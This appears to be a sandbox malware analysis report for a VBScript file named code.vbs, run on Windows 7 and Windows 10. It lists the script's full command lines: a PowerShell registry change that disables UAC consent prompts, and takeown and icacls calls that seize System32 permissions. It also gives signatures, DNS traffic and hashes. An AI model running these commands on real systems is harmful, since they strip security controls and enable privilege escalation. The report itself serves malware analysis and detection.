Analysis Overview
SHA256
4d1ab26c8c4d3727661219b642ba666e837ecf3beb26484c7fb1ffc9dba4ef8b
Threat Level: Known bad
The file code.vbs was found to be: Known bad.
Malicious Activity Summary
UAC bypass
Possible privilege escalation attempt
Checks computer location settings
Modifies file permissions
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK Matrix V13
Analysis: static1
Detonation Overview
Reported
2024-06-07 18:52
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-07 18:52
Reported
2024-06-07 18:55
Platform
win7-20240215-en
Max time kernel
121s
Max time network
122s
Command Line
Signatures
UAC bypass
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\System32\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\System32\icacls.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\System32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\code.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0
C:\Windows\System32\takeown.exe
"C:\Windows\System32\takeown.exe" /F C:\Windows\System32\
C:\Windows\System32\icacls.exe
"C:\Windows\System32\icacls.exe" C:\Windows\System32\ /P John:F
Network
Files
memory/2004-4-0x000007FEF569E000-0x000007FEF569F000-memory.dmp
memory/2004-5-0x000000001B630000-0x000000001B912000-memory.dmp
memory/2004-6-0x00000000021D0000-0x00000000021D8000-memory.dmp
memory/2004-7-0x000007FEF53E0000-0x000007FEF5D7D000-memory.dmp
memory/2004-8-0x000007FEF53E0000-0x000007FEF5D7D000-memory.dmp
memory/2004-9-0x000007FEF53E0000-0x000007FEF5D7D000-memory.dmp
memory/2004-10-0x000007FEF53E0000-0x000007FEF5D7D000-memory.dmp
memory/2004-11-0x000007FEF53E0000-0x000007FEF5D7D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-07 18:52
Reported
2024-06-07 18:55
Platform
win10v2004-20240508-en
Max time kernel
149s
Max time network
150s
Command Line
Signatures
UAC bypass
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\System32\icacls.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\System32\takeown.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\System32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4584 wrote to memory of 2244 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4584 wrote to memory of 2244 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4584 wrote to memory of 2948 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\takeown.exe |
| PID 4584 wrote to memory of 2948 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\takeown.exe |
| PID 4584 wrote to memory of 1164 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\icacls.exe |
| PID 4584 wrote to memory of 1164 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\icacls.exe |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\code.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0
C:\Windows\System32\takeown.exe
"C:\Windows\System32\takeown.exe" /F C:\Windows\System32\
C:\Windows\System32\icacls.exe
"C:\Windows\System32\icacls.exe" C:\Windows\System32\ /P John:F
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.211.185.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 86.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 14.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 121.150.79.40.in-addr.arpa | udp |
Files
memory/2244-0-0x00007FFEE9033000-0x00007FFEE9035000-memory.dmp
memory/2244-1-0x0000018966810000-0x0000018966832000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gqcropbq.jax.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2244-11-0x00007FFEE9030000-0x00007FFEE9AF1000-memory.dmp
memory/2244-12-0x00007FFEE9030000-0x00007FFEE9AF1000-memory.dmp
memory/2244-15-0x00007FFEE9030000-0x00007FFEE9AF1000-memory.dmp